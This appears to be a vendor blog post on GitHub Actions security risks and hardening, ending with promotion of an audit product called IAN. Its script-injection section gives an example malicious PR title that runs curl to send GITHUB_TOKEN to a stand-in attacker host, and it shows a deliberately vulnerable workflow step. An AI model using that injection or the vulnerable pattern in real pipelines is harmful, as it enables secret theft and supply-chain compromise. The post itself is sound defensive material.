GitHub Actions security: the risks hiding in your CI/CD pipeline

The Most Popular CI/CD Platform Is Also the Most Targeted

GitHub Actions runs CI/CD for over 100 million repositories. It’s fast, free for public repos, and deeply integrated with the world’s largest code hosting platform. It’s also become the #1 target for supply chain attacks.

In 2025 alone, researchers documented over 4,000 GitHub Actions workflows vulnerable to code injection, secret exfiltration, or privilege escalation. The attacks are creative, the blast radius is enormous, and most teams have no idea their pipelines are exposed.

The Attack Surface You Didn’t Know You Had

GitHub Actions workflows run arbitrary code with access to your secrets, your source code, and often your cloud credentials. Here’s what attackers target:

1. Poisoned Third-Party Actions

When you write uses: some-org/some-action@v1, you’re running code written by a stranger in your CI environment. If that action is compromised — or if v1 is a mutable tag that gets force-pushed — your pipeline executes malicious code with full access to your secrets.

Real attack: In March 2025, a popular GitHub Action with 23,000+ users was compromised via a stolen maintainer token. Every workflow using it leaked environment variables — including AWS keys and NPM tokens — to an attacker-controlled server.

2. Script Injection via Pull Requests

Workflows triggered by pull_request_target run in the context of the base branch with access to secrets. If the workflow uses PR metadata (title, body, comment text) in a run: step without sanitization, an attacker can inject arbitrary commands via a malicious PR title.

# VULNERABLE: PR title is injected directly into shell
- run: echo "PR title: ${{ github.event.pull_request.title }}"

An attacker submits a PR with the title: "; curl attacker.com/steal?token=$GITHUB_TOKEN # — and your secrets are exfiltrated.

3. Overly Permissive GITHUB_TOKEN

By default, GITHUB_TOKEN has write access to the repository. If a workflow is compromised, the attacker can push code, create releases, or modify branch protection rules. Most workflows don’t need write access, but most teams never restrict it.

4. Self-Hosted Runner Persistence

Self-hosted runners persist between workflow runs. If a malicious workflow runs on your self-hosted runner, it can install backdoors, modify the runner environment, or steal credentials from other jobs that run on the same machine.

5. Secret Sprawl in Workflow Files

Teams add secrets to GitHub Actions for every integration — AWS credentials, Docker Hub tokens, Slack webhooks, database URLs. Over time, nobody remembers which secrets are used where, which are still valid, and which should have been rotated months ago.

See the IAN team run on your cloud. We connect to your AWS account via a scoped read-only role, run the Observe-tier agents, and leave you with a concrete audit report — cost waste, security exposure, compliance gaps, and a labor-offset estimate. You keep the findings regardless of next steps. Get a free infrastructure audit →

How to Lock Down Your Pipelines

Pin Actions to Commit SHAs

Never use mutable tags (@v1, @main). Pin to a specific commit SHA:

# Bad: mutable tag
uses: actions/checkout@v4

# Good: pinned to specific commit
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Use tools like Dependabot or Renovate to automatically update pinned SHAs when new versions are released.

Restrict GITHUB_TOKEN Permissions

Set minimum permissions at the workflow level:

permissions:
  contents: read
  pull-requests: read

Only grant write access to specific jobs that need it.

Never Use PR Metadata in Shell Commands

Use environment variables or intermediate files instead of inline expressions:

# Safe: use environment variable
- name: Log PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

Isolate Self-Hosted Runners

Run each job in an ephemeral container. Never reuse a runner environment between jobs. If you must use persistent runners, run them in isolated VMs that are rebuilt regularly.

Audit Your Workflow Secrets

Quarterly, review every secret in your GitHub Actions settings:

• Is this secret still used? By which workflows?
• When was it last rotated?
• Does it have more permissions than needed?

How IAN Secures Your CI/CD

IAN scans your GitHub Actions workflows as part of every repository audit:

1. Detects vulnerable patterns — script injection, overly permissive tokens, mutable action references
2. Flags third-party action risks — unmaintained actions, actions with known vulnerabilities, unsigned actions
3. Audits secret usage — which secrets are used where, which are overprovisioned, which haven’t been rotated
4. Generates fix PRs — pin action SHAs, restrict token permissions, sanitize script inputs
5. Monitors continuously — every push triggers a re-scan, so new vulnerabilities are caught immediately

Your CI/CD pipeline is a critical part of your supply chain. Treat it like production infrastructure — because attackers already do.

Secure Your Pipelines

Connect your GitHub repos to IAN. Get a full CI/CD security audit in minutes — with auto-generated fix PRs for every finding.

Get a free infrastructure audit → | See pricing →